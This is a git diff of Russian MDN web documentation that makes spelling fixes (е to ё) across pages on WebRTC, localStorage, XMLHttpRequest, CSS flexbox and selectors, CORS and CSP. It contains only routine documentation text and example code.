<dd>Теперь, когда вы уже знаете архитектуру WebRTC, вы можете перейти к этой статье, которая проведет вас через путь создания кросс-браузерного RTC-приложения</dd> + <dd>Теперь, когда вы уже знаете архитектуру WebRTC, вы можете перейти к этой статье, которая проведёт вас через путь создания кросс-браузерного RTC-приложения</dd> </dl> <h2 id="Ссылки">Ссылки</h2> diff --git a/files/ru/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ru/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html index f6ec2af600..fc0da52bbc 100644 --- a/files/ru/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html +++ b/files/ru/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -20,7 +20,7 @@ original_slug: Web/API/WebRTC_API/WebRTC_basics <p>Материал здесь происходит от RTCPeerConnection; она может остаться здесь, или же может переместится в другое место.</p> <p><strong>Основы использования</strong><br> - Базовое использование RTCPeerConnection предполагает переговоры связь между локальной машиной и удаленной машиной один генерируя Session Description Protocol для обмена между ними. Вызывающая программа начинает процесс, отправив предложение на удаленное устройство, которое реагирует либо принять или отклонить запрос на соединение.</p> + Базовое использование RTCPeerConnection предполагает переговоры связь между локальной машиной и удалённой машиной один генерируя Session Description Protocol для обмена между ними. Вызывающая программа начинает процесс, отправив предложение на удалённое устройство, которое реагирует либо принять или отклонить запрос на соединение.</p> <p>Обе стороны (вызывающий и вызываемый абонент) необходимо настроить свои собственные экземпляры RTCPeerConnection, чтобы представить их конец соединения равноправных узлов ЛВС:</p> @@ -68,9 +68,9 @@ navigator.getUserMedia({video: true}, function(stream) { <h3 id="Ответ_на_вызов">Ответ на вызов</h3> -<p>На противоположном конце, друг получит предложение от сервера, используя любой протокол используется для того чтобы сделать это. После того, как предложение прибывает, {{domxref ("navigator.getUserMedia ()")}} вновь используется для создания потока, который добавляется к RTCPeerConnection. {{Domxref ("RTCSessionDescription")}} объект создается и установить в качестве удаленного описания с помощью вызова {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.</p> +<p>На противоположном конце, друг получит предложение от сервера, используя любой протокол используется для того чтобы сделать это. После того, как предложение прибывает, {{domxref ("navigator.getUserMedia ()")}} вновь используется для создания потока, который добавляется к RTCPeerConnection. {{Domxref ("RTCSessionDescription")}} объект создаётся и установить в качестве удалённого описания с помощью вызова {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.</p> -<p>Тогда ответ создается с помощью RTCPeerConnection.createAnswer () и отправляется обратно на сервер, который направляет его к вызывающему абоненту.</p> +<p>Тогда ответ создаётся с помощью RTCPeerConnection.createAnswer () и отправляется обратно на сервер, который направляет его к вызывающему абоненту.</p> <pre class="brush: js notranslate">var offer = getOfferFromFriend(); navigator.getUserMedia({video: true}, function(stream) { @@ -89,9 +89,9 @@ navigator.getUserMedia({video: true}, function(stream) { <p><strong>Ответ на вызов</strong></p> -<p>На противоположном конце, человек получит предложение от сервера, используя любой протокол используется для того чтобы сделать это. После того, как предложение принято, navigator.getUserMedia () вновь используется для создания потока, который добавляется к RTCPeerConnection. объект создается и установить в качестве удаленного описания с помощью вызова {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.</p> +<p>На противоположном конце, человек получит предложение от сервера, используя любой протокол используется для того чтобы сделать это. После того, как предложение принято, navigator.getUserMedia () вновь используется для создания потока, который добавляется к RTCPeerConnection. объект создаётся и установить в качестве удалённого описания с помощью вызова {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.</p> -<p>Тогда ответ создается с помощью RTCPeerConnection.createAnswer () и отправляется обратно на сервер, который направляет его к вызывающему абоненту.</p> +<p>Тогда ответ создаётся с помощью RTCPeerConnection.createAnswer () и отправляется обратно на сервер, который направляет его к вызывающему абоненту.</p> <pre class="brush: js notranslate">// ПК был создан раньше, когда мы сделали первоначальное предложение var offer = getResponseFromFriend(); @@ -99,7 +99,7 @@ pc.<a href="#createAnswer()">setRemoteDescription</a>(new <span class="nx">RTCSe <h2 id="Old_content_follows!">Old content follows!</h2> -<p>Все, что находится ниже этого пункта, потенциально устарело. Это по-прежнему находится в стадии рассмотрения и возможного включения в другие части документации, если они все еще актуальны.</p> +<p>Все, что находится ниже этого пункта, потенциально устарело. Это по-прежнему находится в стадии рассмотрения и возможного включения в другие части документации, если они все ещё актуальны.</p> <div class="note"> <p><strong>Не используйте примеры на этой странице.</strong> Смотрите статью <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a> для работы, актуальный пример с использованием WebRTC media.</p> diff --git a/files/ru/conflicting/web/api/window/localstorage/index.html b/files/ru/conflicting/web/api/window/localstorage/index.html index 50b03e48d3..5e87d8edc8 100644 --- a/files/ru/conflicting/web/api/window/localstorage/index.html +++ b/files/ru/conflicting/web/api/window/localstorage/index.html @@ -7,15 +7,15 @@ original_slug: Web/API/Storage/LocalStorage --- <p><code>localStorage</code> это аналог <code><a href="/en-US/docs/Web/API/sessionStorage">sessionStorage</a></code>, с некоторыми same-origin правилами, но значения хранятся постоянно (в отличии от sessions). <code>localStorage</code> появился в Firefox 3.5.</p> -<div class="note"><strong>Примечание:</strong> Когда браузер переходит в режим приватного просмотра, создается новое временное хранилище. Изначально оно пустое. После выхода из режима приватного просмотра временное хранилище очищается.</div> +<div class="note"><strong>Примечание:</strong> Когда браузер переходит в режим приватного просмотра, создаётся новое временное хранилище. Изначально оно пустое. После выхода из режима приватного просмотра временное хранилище очищается.</div> <pre class="brush:js" style="font-size: 14px;">// Сохраняет данные в текущий local store localStorage.setItem("username", "John"); -// Извлекает ранее сохраненные данные +// Извлекает ранее сохранённые данные alert( "username = " + localStorage.getItem("username"));</pre> -<p class="note"><code>localStorage</code>'s позволяет постоянно хранить некоторую полезную информацию, включая счетчики посещения страницы, как показано в примере <a href="http://codepen.io/awesom3/pen/Hlfma">this tutorial on Codepen</a>.</p> +<p class="note"><code>localStorage</code>'s позволяет постоянно хранить некоторую полезную информацию, включая счётчики посещения страницы, как показано в примере <a href="http://codepen.io/awesom3/pen/Hlfma">this tutorial on Codepen</a>.</p> <h4 id="Совместимость" style="line-height: 18px; font-size: 1.28571428571429rem;">Совместимость</h4> diff --git a/files/ru/conflicting/web/api/xmlhttprequest/index.html b/files/ru/conflicting/web/api/xmlhttprequest/index.html index 89d75358b5..58c663042d 100644 --- a/files/ru/conflicting/web/api/xmlhttprequest/index.html +++ b/files/ru/conflicting/web/api/xmlhttprequest/index.html @@ -6,7 +6,7 @@ tags: - XMLHttpRequest original_slug: XMLHttpRequest --- -<p><code>XMLHttpRequest</code> — это объект <a href="/ru/JavaScript" title="ru/JavaScript">JavaScript</a>, созданный Microsoft и адаптированный Mozilla. Вы можете использовать его для простой передачи данных через HTTP. Несмотря на свое название, он может быть использован не только для XML документов, но и, например, для <a href="/ru/JSON" title="ru/JSON">JSON</a>.</p> +<p><code>XMLHttpRequest</code> — это объект <a href="/ru/JavaScript" title="ru/JavaScript">JavaScript</a>, созданный Microsoft и адаптированный Mozilla. Вы можете использовать его для простой передачи данных через HTTP. Несмотря на своё название, он может быть использован не только для XML документов, но и, например, для <a href="/ru/JSON" title="ru/JSON">JSON</a>.</p> <p>Оставшаяся часть статьи может содержать информацию, специфичную для <a href="/ru/Gecko" title="ru/Gecko">Gecko</a> или привилегированного кода, такого как дополнения.</p> @@ -16,7 +16,7 @@ original_slug: XMLHttpRequest <p>Использовать <code>XMLHttpRequest</code> очень просто. Вы создаёте экземпляр объекта, открываете URL и отправляете запрос. Статус HTTP-ответа, так же как и возвращаемый документ, доступны в свойствах объекта запроса.</p> -<div class="note"><strong>Замечание: </strong>Версии Firefox до версии 3 постоянно отправляют запрос, используя кодировку UTF-8. Отправляя документ, Firefox 3 использует кодировку, определенную в <code>data.inputEncoding</code> (где <code>data — </code>ненулевой объект, переданный в <code>send()</code>). Если не определено, то используется UTF-8.</div> +<div class="note"><strong>Замечание: </strong>Версии Firefox до версии 3 постоянно отправляют запрос, используя кодировку UTF-8. Отправляя документ, Firefox 3 использует кодировку, определённую в <code>data.inputEncoding</code> (где <code>data — </code>ненулевой объект, переданный в <code>send()</code>). Если не определено, то используется UTF-8.</div> <h4 id=".D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80" name=".D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80">Пример</h4> @@ -98,7 +98,7 @@ req.send(null); <h4 id="responseXML" name="responseXML">responseXML</h4> -<p>Если вы загрузили <a href="/ru/XML" title="ru/XML">XML</a> документ свойство <code>responseXML</code> будет содержать документ в виде <code>XmlDocument</code> объекта которым вы можете манипулировать используя DOM методы. Если сервер отправляет правильно сформированные XML документы но не устанавливает Content-Type заголовок для него, вы можете использовать <code><a href="/ru/XMLHttpRequest#overrideMimeType.28.29" title="ru/XMLHttpRequest#overrideMimeType.28.29">overrideMimeType()</a></code> для того чтобы документ был обработан как XML. Если сервер не отправляет правильно сформированного документа XML, <code>responseXML</code> вернет null независимо от любых перезаписей Content-Type заголовка.</p> +<p>Если вы загрузили <a href="/ru/XML" title="ru/XML">XML</a> документ свойство <code>responseXML</code> будет содержать документ в виде <code>XmlDocument</code> объекта которым вы можете манипулировать используя DOM методы. Если сервер отправляет правильно сформированные XML документы но не устанавливает Content-Type заголовок для него, вы можете использовать <code><a href="/ru/XMLHttpRequest#overrideMimeType.28.29" title="ru/XMLHttpRequest#overrideMimeType.28.29">overrideMimeType()</a></code> для того чтобы документ был обработан как XML. Если сервер не отправляет правильно сформированного документа XML, <code>responseXML</code> вернёт null независимо от любых перезаписей Content-Type заголовка.</p> <h4 id="overrideMimeType.28.29" name="overrideMimeType.28.29">overrideMimeType()</h4> @@ -146,7 +146,7 @@ req.abort(); <h4 id="mozBackgroundRequest" name="mozBackgroundRequest">mozBackgroundRequest</h4> -<p>Это свойство может быть использовано чтобы уберечь от всплытия аутентификации и неправильных диалогов сертификации в ответ на запрос. Также запрос не будет отменен при закрытии его окна, которому он принадлежит. Это свойство работает только для кода chrome. {{ Fx_minversion_inline(3) }}</p> +<p>Это свойство может быть использовано чтобы уберечь от всплытия аутентификации и неправильных диалогов сертификации в ответ на запрос. Также запрос не будет отменён при закрытии его окна, которому он принадлежит. Это свойство работает только для кода chrome. {{ Fx_minversion_inline(3) }}</p> <pre>var req = new XMLHttpRequest(); req.mozBackgroundRequest = true; diff --git a/files/ru/conflicting/web/css/_colon_is/index.html b/files/ru/conflicting/web/css/_colon_is/index.html index 72f71c9556..c771129bd5 100644 --- a/files/ru/conflicting/web/css/_colon_is/index.html +++ b/files/ru/conflicting/web/css/_colon_is/index.html @@ -15,9 +15,9 @@ original_slug: Web/CSS/:any <h2 id="Summary" name="Summary">Описание</h2> -<p><a href="/ru/docs/Web/CSS/Псевдо-классы" title="CSS/Pseudo-classes">Псевдокласс</a> <code>:any()</code> дает возможность быстрого конструирования наборов похожих селекторов путем составления групп, в которых каждый из входящих элементов будет комбинироваться с элементами из других групп. Это альтернатива для прописывания комбинаций селекторов для одного элемента, который может находится в разных родителях.</p> +<p><a href="/ru/docs/Web/CSS/Псевдо-классы" title="CSS/Pseudo-classes">Псевдокласс</a> <code>:any()</code> даёт возможность быстрого конструирования наборов похожих селекторов путём составления групп, в которых каждый из входящих элементов будет комбинироваться с элементами из других групп. Это альтернатива для прописывания комбинаций селекторов для одного элемента, который может находится в разных родителях.</p> -<div class="note"><strong>Замечание: </strong>Этот псевдокласс все еще находится в процессе стандартизации в <a class="external" href="http://dev.w3.org/csswg/selectors4/#matches" title="http://dev.w3.org/csswg/selectors4/#matches"><em>CSS селекторах уровня 4</em></a> под именем <code>:matches()</code>. Вполне вероятно, что синтаксис и имя <code>:-<em>vendor</em>-any() </code>будут изменены в ближайшем будущем, чтобы соответствовать спецификации.</div> +<div class="note"><strong>Замечание: </strong>Этот псевдокласс все ещё находится в процессе стандартизации в <a class="external" href="http://dev.w3.org/csswg/selectors4/#matches" title="http://dev.w3.org/csswg/selectors4/#matches"><em>CSS селекторах уровня 4</em></a> под именем <code>:matches()</code>. Вполне вероятно, что синтаксис и имя <code>:-<em>vendor</em>-any() </code>будут изменены в ближайшем будущем, чтобы соответствовать спецификации.</div> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html b/files/ru/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html index ace3750eeb..a0ba127557 100644 --- a/files/ru/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html +++ b/files/ru/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html @@ -19,7 +19,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes <p>Для многих дизайнеров модель использования флексбоксов будет более простой для применения. Дочерние элементы внутри флексбокса могут размещаться в любом направлении и могут менять размер, чтобы адаптироваться к различным размерам дисплея. Позиционирование элементов в таком случае является простым и комплексная разметка достигается значительно легче и с более чистым кодом, поскольку порядок отображения элементов не связан с их порядком в коде. Эта независимость умышленно касается только визуального рендеринга, оставляя порядок интерпретации и навигацию зависимыми от порядка в исходниках.</p> -<div class="note"><strong>Внимание:</strong> некоторые браузеры все еще могут частично или полностью не поддерживать флексбоксы. Ознакомьтесь с <a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes#Совместимость_с_браузерами">таблицей совместимости</a>.</div> +<div class="note"><strong>Внимание:</strong> некоторые браузеры все ещё могут частично или полностью не поддерживать флексбоксы. Ознакомьтесь с <a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes#Совместимость_с_браузерами">таблицей совместимости</a>.</div> <h2 id="Концепция_Flexbox">Концепция Flexbox</h2> @@ -53,7 +53,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes </dd> <dt>Направления</dt> <dd> - <p>Главное начало и конец (<strong>main</strong>) и перекрёстное начало и конец (<strong>cross start</strong>/<strong>end</strong>) — это стороны контейнера, определяющие начало и окончание потока flex-элементов. Они следуют по главной и перекрестной осями flex-контейнера в векторе, установленном режимом написания ({{Cssxref("writing-mode")}}) (слева направо, справа налево и т. д.).</p> + <p>Главное начало и конец (<strong>main</strong>) и перекрёстное начало и конец (<strong>cross start</strong>/<strong>end</strong>) — это стороны контейнера, определяющие начало и окончание потока flex-элементов. Они следуют по главной и перекрёстной осями flex-контейнера в векторе, установленном режимом написания ({{Cssxref("writing-mode")}}) (слева направо, справа налево и т. д.).</p> <ul> <li>Свойство {{Cssxref("order")}} присваивает элементы порядковым группам и определяет, в каком порядке их показывать.</li> @@ -62,7 +62,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes </dd> <dt>Линии</dt> <dd> - <p>Flex-элементы могут размещаться на одной или нескольких линиях в зависимости от значения свойства {{Cssxref("flex-wrap")}}, которое контролирует направление перекрестных линий и направление в котором складываются новые линии.</p> + <p>Flex-элементы могут размещаться на одной или нескольких линиях в зависимости от значения свойства {{Cssxref("flex-wrap")}}, которое контролирует направление перекрёстных линий и направление в котором складываются новые линии.</p> </dd> <dt>Размеры</dt> <dd> @@ -97,9 +97,9 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes <p>Отступы (margin) соседних flex-контейнеров не схлопываются. Установка значений <code>margin: auto </code>поглощает дополнительное место в вертикальном или горизонтальном направлении и может быть использовано для выравнивания или для разделения соседних flex-элементов. См. <a href="http://dev.w3.org/csswg/css3-flexbox/#auto-margins">Выравнивание при помощи 'автоматических' отступов </a>в разделе "Модель расположения при помощи flex-контейнеров" спецификации W3C.</p> -<p>Свойства выравнивания flexbox выполняют "истинное" центрирование в отличие от других способов центрирования в CSS. Это означает, что flex-элементы будут оставаться отцентрированными даже если они переполняют flex-контейнер. Впрочем, это может иногда быть проблематичным, если они вылезают за верхний или левый край страницы (в языках с написанием слева направо; в языках с написанием справа налево, таких как арабский, возникает проблема с правой границей), так как вы не можете прокрутить страницу в данную область даже если там есть содержимое! В будущем релизе свойства выравнивания будут также дополнены "безопасной" опцией. На данный момент, если это проблема, вы можете использовать отступы (margin) для достижения центрирования, так как они сработают "безопасно" и центрирование будет прекращено при переполнении. Вместо использования свойства <code>align- </code>просто установите автоматические отступы (<code>margin: auto)</code> для flex-элементов, которые вы хотите отцентрировать. Вместо свойств <code>justify-</code> установите <code>margin: auto</code> на внешние края первого и последнего элемента в flex-контейнере. Автоматические отступы будут "подстраиваться" и занимать оставшееся место, центрируя flex-элементы при наличии свободного места и используя стандартное выравнивание при его отсутствии. Тем не менее, если вы пытаетесь заменить <code>justify-content </code>центрированием, основанным на отступах (margin-based) в многострочном flexbox, вам, видимо, не повезло, так как вам необходимо установить отступы для первого и последнего элемента на каждой строке. Если вы не можете предугадать заранее на какой строке окажется каждый элемент, вы не сможете надежно использовать центрирование, основанное на отступах, на основной оси для замены свойства <code>justify-content</code>.</p> +<p>Свойства выравнивания flexbox выполняют "истинное" центрирование в отличие от других способов центрирования в CSS. Это означает, что flex-элементы будут оставаться отцентрированными даже если они переполняют flex-контейнер. Впрочем, это может иногда быть проблематичным, если они вылезают за верхний или левый край страницы (в языках с написанием слева направо; в языках с написанием справа налево, таких как арабский, возникает проблема с правой границей), так как вы не можете прокрутить страницу в данную область даже если там есть содержимое! В будущем релизе свойства выравнивания будут также дополнены "безопасной" опцией. На данный момент, если это проблема, вы можете использовать отступы (margin) для достижения центрирования, так как они сработают "безопасно" и центрирование будет прекращено при переполнении. Вместо использования свойства <code>align- </code>просто установите автоматические отступы (<code>margin: auto)</code> для flex-элементов, которые вы хотите отцентрировать. Вместо свойств <code>justify-</code> установите <code>margin: auto</code> на внешние края первого и последнего элемента в flex-контейнере. Автоматические отступы будут "подстраиваться" и занимать оставшееся место, центрируя flex-элементы при наличии свободного места и используя стандартное выравнивание при его отсутствии. Тем не менее, если вы пытаетесь заменить <code>justify-content </code>центрированием, основанным на отступах (margin-based) в многострочном flexbox, вам, видимо, не повезло, так как вам необходимо установить отступы для первого и последнего элемента на каждой строке. Если вы не можете предугадать заранее на какой строке окажется каждый элемент, вы не сможете надёжно использовать центрирование, основанное на отступах, на основной оси для замены свойства <code>justify-content</code>.</p> -<p>Помните, что, несмотря на то, что порядок отображения элементов не зависит от их положения в исходном коде, эта независимость затрагивает только визуальное отображение, оставляя навигацию и голосовую помощь в исходном порядке. Даже свойство {{cssxref("order")}} не влияет на очередность голосовой помощи и навигации. Таким образом, разработчики должны уделять внимание правильному порядку элементов в исходном коде, чтобы не навредить доступности документа.</p> +<p>Помните, что, несмотря на то, что порядок отображения элементов не зависит от их положения в исходном коде, эта независимость затрагивает только визуальное отображение, оставляя навигацию и голосовую помощь в исходном порядке. Даже свойство {{cssxref("order")}} не влияет на очерёдность голосовой помощи и навигации. Таким образом, разработчики должны уделять внимание правильному порядку элементов в исходном коде, чтобы не навредить доступности документа.</p> <h2 id="Свойства_Flexbox">Свойства Flexbox</h2> @@ -171,7 +171,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes <p><img alt="HolyGrailLayout.png" class="default internal" src="/files/3760/HolyGrailLayout.png"></p> -<p>Здесь изображен случай, когда расположение, подходящее для окна браузера должно быть оптимизировано для экрана смартфона. Не только элементы должны уменьшиться в размере, но и порядок, в котором они отображаются, должен измениться. Flexbox сильно упрощает это.</p> +<p>Здесь изображён случай, когда расположение, подходящее для окна браузера должно быть оптимизировано для экрана смартфона. Не только элементы должны уменьшиться в размере, но и порядок, в котором они отображаются, должен измениться. Flexbox сильно упрощает это.</p> <pre class="brush: html"><!DOCTYPE html> <html lang="en"> @@ -272,11 +272,11 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes <h2 id="О_чем_нужно_помнить">О чем нужно помнить</h2> -<p>Алгоритм, описывающий как flex-элементы располагаются, иногда может быть довольно запутанным. Вот несколько правильных решений, которые позволят избежать неприятных сюрпризов при верстке с использованием flexbox.</p> +<p>Алгоритм, описывающий как flex-элементы располагаются, иногда может быть довольно запутанным. Вот несколько правильных решений, которые позволят избежать неприятных сюрпризов при вёрстке с использованием flexbox.</p> <p>Flexbox располагаются в соответствие с <a href="https://developer.mozilla.org/ru/docs/Web/CSS/writing-mode">направлением письма</a>, что означает, что <strong>главное начало</strong> и <strong>главный конец </strong>располагаются в зависимости от положения <strong>начала </strong>и <strong>конца </strong>(строки - <em>прим.</em>).</p> -<p><strong>Перекрестное начало</strong> и <strong>перекрестный конец </strong>полагаются на определение позиции <strong>начала </strong>и <strong>конца, </strong>которое зависит от значения свойства <code>{{cssxref("direction")}}</code>.</p> +<p><strong>Перекрёстное начало</strong> и <strong>перекрёстный конец </strong>полагаются на определение позиции <strong>начала </strong>и <strong>конца, </strong>которое зависит от значения свойства <code>{{cssxref("direction")}}</code>.</p> <p>Разрывы страницы допустимы в расположении flex-контейнеров, когда это позволяет свойство <code>break-. Свойства </code>CSS3 <code>break-after</code>, <code>break-before</code> и <code>break-inside</code>, а также свойства CSS 2.1 <code>page-break-before</code>, <code>page-break-after</code> и <code>page-break-inside</code> работают на flex-контейнере, flex-элементах, а также внутри flex-элементов.</p> @@ -361,13 +361,13 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes </table> </div> -<p>[1] Safari до версии 6.0 (iOS.1) поддерживал старую несовместимую черновую версию спецификации. Safari 6.1 (и Safari на iOS 7) был обновлен для поддержки финальной версии.</p> +<p>[1] Safari до версии 6.0 (iOS.1) поддерживал старую несовместимую черновую версию спецификации. Safari 6.1 (и Safari на iOS 7) был обновлён для поддержки финальной версии.</p> -<p>[2] До Firefox 22, чтобы активировать поддержку flexbox, пользователь должен установить параметр <code>about:config</code> <code>layout.css.flexbox.enabled</code> в значение <code>true</code>. Начиная с Firefox 22 по Firefox 27, параметр установлен в <code>true</code> по умолчанию, и полностью исключен в Firefox 28.</p> +<p>[2] До Firefox 22, чтобы активировать поддержку flexbox, пользователь должен установить параметр <code>about:config</code> <code>layout.css.flexbox.enabled</code> в значение <code>true</code>. Начиная с Firefox 22 по Firefox 27, параметр установлен в <code>true</code> по умолчанию, и полностью исключён в Firefox 28.</p> -<p>[3] Internet Explorer 10 поддерживает старую несовместимую черновую версию спецификации; Internet Explorer 11 <a href="https://msdn.microsoft.com/ru-ru/library/dn265027(v=vs.85).aspx">был обновлен</a> для поддержки финальной версии.</p> +<p>[3] Internet Explorer 10 поддерживает старую несовместимую черновую версию спецификации; Internet Explorer 11 <a href="https://msdn.microsoft.com/ru-ru/library/dn265027(v=vs.85).aspx">был обновлён</a> для поддержки финальной версии.</p> -<p>[4] Android browser до версии 4.3 поддерживал старую несовместимую черновую версию спецификации. Android 4.4 был обновлен для поддержки финальной версии.</p> +<p>[4] Android browser до версии 4.3 поддерживал старую несовместимую черновую версию спецификации. Android 4.4 был обновлён для поддержки финальной версии.</p> <p>[5] Хотя изначальная реализация в Opera 12.10 <code>flexbox</code> была без приставки, она получила приставку {{property_prefix("-webkit")}} в версиях с 15 по 16 Opera и с 15 по 19 Opera Mobile. Приставка была снова убрана в Opera 17 и Opera Mobile 24.</p> diff --git a/files/ru/conflicting/web/css/gap/index.html b/files/ru/conflicting/web/css/gap/index.html index 8f09dcd99b..714cd0beb5 100644 --- a/files/ru/conflicting/web/css/gap/index.html +++ b/files/ru/conflicting/web/css/gap/index.html @@ -11,7 +11,7 @@ original_slug: Web/CSS/grid-gap <p><strong>Примечание</strong>. Свойство CSS с разделительной сеткой было переименовано в свойство prefix-less {{cssxref('gap')}}.</p> </div> -<p>Свойство CSS <strong><code>grid-gap</code></strong> является сокращенным свойством для {{cssxref("grid-row-gap")}} и {{cssxref("grid-column-gap")}}, определяющего желоба между строками и столбцами сетки.</p> +<p>Свойство CSS <strong><code>grid-gap</code></strong> является сокращённым свойством для {{cssxref("grid-row-gap")}} и {{cssxref("grid-column-gap")}}, определяющего желоба между строками и столбцами сетки.</p> <div>{{EmbedInteractiveExample("pages/css/grid-gap.html")}}</div> diff --git a/files/ru/conflicting/web/css/url()/index.html b/files/ru/conflicting/web/css/url()/index.html index 0f7f929f08..97687fc05b 100644 --- a/files/ru/conflicting/web/css/url()/index.html +++ b/files/ru/conflicting/web/css/url()/index.html @@ -22,7 +22,7 @@ original_slug: Web/CSS/filter-function/url <dl> <dt><code>расположение</code></dt> - <dd>В {{cssxref("<URL-адрес>")}} из {{glossary("XML")}} указывается файл, который задает фильтр SVG, а также может включать в себя привязки к конкретному фильтрующему элементу.</dd> + <dd>В {{cssxref("<URL-адрес>")}} из {{glossary("XML")}} указывается файл, который задаёт фильтр SVG, а также может включать в себя привязки к конкретному фильтрующему элементу.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/conflicting/web/http/cors/index.html b/files/ru/conflicting/web/http/cors/index.html index 0d44c873b3..23d269ec05 100644 --- a/files/ru/conflicting/web/http/cors/index.html +++ b/files/ru/conflicting/web/http/cors/index.html @@ -5,13 +5,13 @@ translation_of: Web/HTTP/CORS translation_of_original: Web/HTTP/Server-Side_Access_Control original_slug: Web/HTTP/Server-Side_Access_Control --- -<p>Системы контроля доступа производят идентификацию <a href="http://searchsoftwarequality.techtarget.com/definition/authorization">авторизации</a>, <a href="http://searchsecurity.techtarget.com/definition/authentication">аутентификацию</a>, подтверждение доступа и подотчетность сущностей с помощью учетных данных для входа, включая <a href="http://searchsecurity.techtarget.com/definition/password">пароль</a>, личный идентификационный номер (PINs), <a href="http://searchsecurity.techtarget.com/definition/biometrics">биометрическое</a> сканирование и физический или электронный ключ.</p> +<p>Системы контроля доступа производят идентификацию <a href="http://searchsoftwarequality.techtarget.com/definition/authorization">авторизации</a>, <a href="http://searchsecurity.techtarget.com/definition/authentication">аутентификацию</a>, подтверждение доступа и подотчётность сущностей с помощью учётных данных для входа, включая <a href="http://searchsecurity.techtarget.com/definition/password">пароль</a>, личный идентификационный номер (PINs), <a href="http://searchsecurity.techtarget.com/definition/biometrics">биометрическое</a> сканирование и физический или электронный ключ.</p> <p>Контроль доступа --- это техника безопасности, которую можно использовать для регулирования процессом того, кто или что может видеть или использовать ресурсы в вычислительном окружении.</p> <p>{{HTTPSidebar}}</p> -<p>Для меж-сайтовых запросов, произведенных с помощью {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, браузеры передают специальные <a href="/en-US/docs/Web/HTTP/Headers">HTTP заголовки</a>. Так же ожидаемо увидеть определенные HTTP заголовки, переданные обратно внутри меж-сайтового ответа. Обзор этих заголовков, включая примеры JavaScript кода, создающего запросы и обрабатывающего ответы от сервера, как и описание каждого из заголовков, <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS">может быть найден в статье HTTP Access Control (CORS)</a> и должен быть прочитан вместе с данной. Эта статья покрывает обработку <strong>Запросов контроля доступа</strong> и формулировку <strong>Ответов контроля доступа </strong>в PHP. Целевая аудитория для этой статьи --- разработчики серверов и администраторы. Хотя примеры кода, приведенные тут, на PHP, подобная концепция применяется в ASP.net, Perl, Python, Java, etc.; в общем, эти концепции могут быть применены в любом сервером окружении, который обрабатывает HTTP запросы и динамически формирует HTTP ответы.</p> +<p>Для меж-сайтовых запросов, произведённых с помощью {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, браузеры передают специальные <a href="/en-US/docs/Web/HTTP/Headers">HTTP заголовки</a>. Так же ожидаемо увидеть определённые HTTP заголовки, переданные обратно внутри меж-сайтового ответа. Обзор этих заголовков, включая примеры JavaScript кода, создающего запросы и обрабатывающего ответы от сервера, как и описание каждого из заголовков, <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS">может быть найден в статье HTTP Access Control (CORS)</a> и должен быть прочитан вместе с данной. Эта статья покрывает обработку <strong>Запросов контроля доступа</strong> и формулировку <strong>Ответов контроля доступа </strong>в PHP. Целевая аудитория для этой статьи --- разработчики серверов и администраторы. Хотя примеры кода, приведённые тут, на PHP, подобная концепция применяется в ASP.net, Perl, Python, Java, etc.; в общем, эти концепции могут быть применены в любом сервером окружении, который обрабатывает HTTP запросы и динамически формирует HTTP ответы.</p> <h2 id="Discussion_of_HTTP_headers">Discussion of HTTP headers</h2> diff --git a/files/ru/conflicting/web/http/csp/index.html b/files/ru/conflicting/web/http/csp/index.html index a424fc49db..e4572bb83d 100644 --- a/files/ru/conflicting/web/http/csp/index.html +++ b/files/ru/conflicting/web/http/csp/index.html @@ -12,7 +12,7 @@ original_slug: Web/Security/CSP <p><strong>Политика защиты контента</strong> (CSP) — это дополнительный уровень безопасности, который помогает обнаружить и смягчить некоторые виды атак, в том числе межсайтовый скриптинг (XSS) и инъекцию данных. Эти атаки используются для всего, от кражи данных до порчи сайтов и распространения вредоносного ПО.</p> -<p>Хотя CSP выпустила первую в Firefox 4, с использованием <code>X-Content-Security-Policy</code> предварительно из-за наличия формальной спецификации для CSP. Firefox 23 содержит обновленную реализацию CSP, которая используется без префикса заголовка Content-Security-Policy и директив, как описано в W3C CSP 1.0 spec.</p> +<p>Хотя CSP выпустила первую в Firefox 4, с использованием <code>X-Content-Security-Policy</code> предварительно из-за наличия формальной спецификации для CSP. Firefox 23 содержит обновлённую реализацию CSP, которая используется без префикса заголовка Content-Security-Policy и директив, как описано в W3C CSP 1.0 spec.</p> <h2 id="Разделы_CSP">Разделы CSP</h2> @@ -26,7 +26,7 @@ original_slug: Web/Security/CSP <dt><a href="/en-US/docs/Security/CSP/Using_CSP_violation_reports">Using CSP violation reports</a></dt> <dd>Как использовать сообщения CSP о нарушениях, чтобы контролировать попытки атаковать ваш 